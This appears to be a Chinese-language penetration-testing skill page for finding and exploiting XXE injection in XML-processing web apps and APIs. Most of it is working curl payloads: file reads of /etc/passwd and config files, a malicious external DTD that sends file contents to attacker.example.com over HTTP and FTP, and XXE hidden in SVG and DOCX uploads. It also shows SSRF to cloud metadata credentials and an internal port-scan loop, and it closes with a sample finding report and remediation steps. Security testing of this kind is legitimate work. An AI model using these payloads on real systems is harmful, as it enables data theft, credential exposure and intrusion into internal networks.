Tests for XXE injection vulnerabilities in authorized pentests on XML-processing web apps and APIs, enabling file reads, SSRF, blind OOB detection via Burp Suite and curl payloads.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权的渗透测试中,目标应用程序处理 XML 输入时(SOAP API、文件上传、RSS 订阅)
Tests web app XML endpoints for XXE vulnerabilities, enabling file reads, SSRF, and data exfiltration during authorized penetration tests.
Tests for XXE injection vulnerabilities in XML-processing endpoints like SOAP APIs, file uploads, and RSS feeds during authorized penetration tests. Provides payloads for file reads, SSRF, and data exfiltration.
Tests web apps for XML injection vulnerabilities including XXE (file read, blind, SSRF), XPath injection, and entity attacks to detect data leaks. For pentesting XML endpoints like SOAP APIs and file uploads.
Share bugs, ideas, or general feedback.
Content-Type: application/xml 或 text/xml 的 API 时git clone https://github.com/enjoiz/XXEinjector.git)查找所有接受或处理 XML 数据的应用程序端点。
# 在 Burp 代理历史中查找 XML Content-Type
# 过滤: Content-Type: application/xml, text/xml, application/soap+xml
# 测试 JSON 端点是否同时接受 XML
# 原始 JSON 请求:
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"search":"test"}' \
"https://target.example.com/api/search"
# 尝试转换为 XML:
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><search>test</search></root>' \
"https://target.example.com/api/search"
# 检查文件上传端点是否存在基于 XML 的格式
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# 这些格式都包含可能在服务端被解析的 XML
# 检查 SOAP 端点
curl -s -X POST \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
"https://target.example.com/ws/service"
注入 XML 实体以从服务器读取本地文件。
# 基本 XXE Payload 读取 /etc/passwd
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Windows 文件读取
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# 读取应用程序配置文件
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# 使用 PHP filter wrapper 进行 base64 编码(避免 XML 解析错误)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
当实体值未在响应中反射时,使用带外(Out-of-Band)技术。
# 带 HTTP 回调的盲 XXE(使用 Burp Collaborator 或 interactsh)
# 启动 interactsh: interactsh-client
# 使用生成的域名: abc123.oast.fun
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# 检查 interactsh/Collaborator 是否收到传入的 DNS 或 HTTP 请求
# 带 DNS 外泄的盲 XXE
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# 通过参数实体的盲 XXE(当普通实体被阻断时)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
%xxe;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"
使用外部 DTD 通过 HTTP 请求提取文件内容。
# 在攻击者服务器上托管恶意 DTD 文件
# 创建文件: evil.dtd
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF
# 托管 DTD
cd /tmp && python3 -m http.server 8888 &
# 发送引用外部 DTD 的 XXE Payload
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
%dtd;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"
# 对于多行文件外泄,使用 FTP 协议
# evil-ftp.dtd:
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval;
%exfil;
EOF
# 使用 xxeserv 或类似的 FTP 监听器捕获多行输出
# python3 xxeserv.py --ftp --port 2121
测试文档上传功能中的 XML 解析。
# 带 XXE 的 SVG 文件
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
EOF
# 上传 SVG
curl -s -X POST \
-F "file=@/tmp/xxe.svg;type=image/svg+xml" \
-b "session=abc123" \
"https://target.example.com/api/upload/avatar"
# 带 XXE 的 DOCX 文件(DOCX 是包含 XML 文件的 ZIP 压缩包)
mkdir -p /tmp/xxe-docx
cd /tmp/xxe-docx
# 解压一个合法的 .docx 文件
unzip /tmp/template.docx -d /tmp/xxe-docx
# 在 [Content_Types].xml 或 document.xml 中注入 XXE
# 在 document.xml 中添加带有外部实体的 DTD
# 重新打包: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *
# 带 XXE 的 XLSX(与 DOCX 技术相同)
# 注入到 xl/sharedStrings.xml 或 [Content_Types].xml 中
使用 XXE 让服务器向内部服务发送请求。
# 通过 XXE 实施 SSRF 访问云元数据
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# 通过 XXE 扫描内网端口
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
echo -n "端口 $port: "
curl -s -X POST --max-time 5 \
-H "Content-Type: application/xml" \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
"https://target.example.com/api/search" | head -c 100
echo
done
# 访问内部服务
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
| 概念 | 描述 |
|---|---|
| XML 外部实体(XML External Entity) | DTD 中通过 SYSTEM 或 PUBLIC 关键字引用外部资源的实体 |
| DTD(文档类型定义) | 定义 XML 文档结构和合法元素(包括实体声明)的规范 |
| 内部实体(Internal Entity) | 在 DTD 中直接定义值的实体(<!ENTITY name "value">) |
| 外部实体(External Entity) | 从 URI 加载内容的实体(<!ENTITY name SYSTEM "uri">) |
| 参数实体(Parameter Entity) | 在 DTD 内部使用的实体,以 % 为前缀(<!ENTITY % name SYSTEM "uri">) |
| 盲 XXE(Blind XXE) | 实体值未在响应中反射的 XXE,需要带外数据外泄 |
| 十亿笑(Billion Laughs,DoS) | 导致指数级内存消耗的递归实体扩展攻击 |
| 通过 XXE 的 SSRF | 利用 XXE 让服务器向内部或外部服务发送 HTTP 请求 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 请求拦截、修改,以及用于 OOB 检测的 Collaborator |
| XXEinjector | 带文件外泄和 SSRF 能力的自动化 XXE 利用工具 |
| interactsh | 用于检测盲 XXE 回调的带外交互服务器 |
| xxeserv | 专用于 XXE 数据外泄的 FTP/HTTP 服务器 |
| OWASP ZAP | 主动扫描模式下的自动化 XXE 扫描 |
| DTD-Finder | 发现服务器上的 DTD 文件以用于实体注入 |
一个 SOAP Web 服务处理 XML 输入时未禁用外部实体。在 SOAP Body 中注入带有 SYSTEM 实体的 DTD,可读取 /etc/passwd 并在 SOAP 响应中返回。
图像上传功能接受 SVG 文件,服务器端解析 SVG 以生成缩略图。在 SVG 中使用盲 XXE Payload,通过带外 HTTP 请求外泄服务器文件。
一个 REST API 主要使用 JSON,但 XML 解析器也被启用。将 Content-Type 切换为 application/xml 并发送 XXE Payload,通过 API 响应暴露服务器文件。
简历上传功能处理 DOCX 文件。在 DOCX 压缩包内的 [Content_Types].xml 文件中注入 XXE,当服务器端解析文档时触发文件读取。
## XXE 注入发现
**漏洞类型**: XML 外部实体(XXE)注入
**严重级别**: 严重(CVSS 9.1)
**位置**: POST /api/search(Content-Type: application/xml)
**OWASP 类别**: A05:2021 - 安全配置错误
### 复现步骤
1. 发送 POST 请求到 /api/search,Content-Type 设置为 application/xml
2. 在 DTD 中包含外部实体: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3. 在 XML body 中引用实体: <search>&xxe;</search>
4. 服务器在响应中返回文件内容
### 确认的影响
- 本地文件读取: /etc/passwd、/etc/hostname、应用程序配置文件
- SSRF: 访问了位于 169.254.169.254 的 AWS 元数据
- 内网扫描: 识别到端口 3306、6379、8080 上的内部服务
### 已获取的文件
| 文件 | 内容摘要 |
|------|---------|
| /etc/passwd | 42 个用户账户,已识别服务账户 |
| /var/www/html/config.php | 明文数据库凭证 |
| /etc/hostname | 内部主机名: prod-web-01 |
### 修复建议
1. 在 XML 解析器中禁用外部实体处理
2. 如非必需,完全禁用 DTD 处理
3. 在可能的情况下使用 JSON 替代 XML
4. 实施输入验证,拒绝 XML 输入中的 DTD 声明
5. 为 Web 服务器用户应用最小权限文件系统权限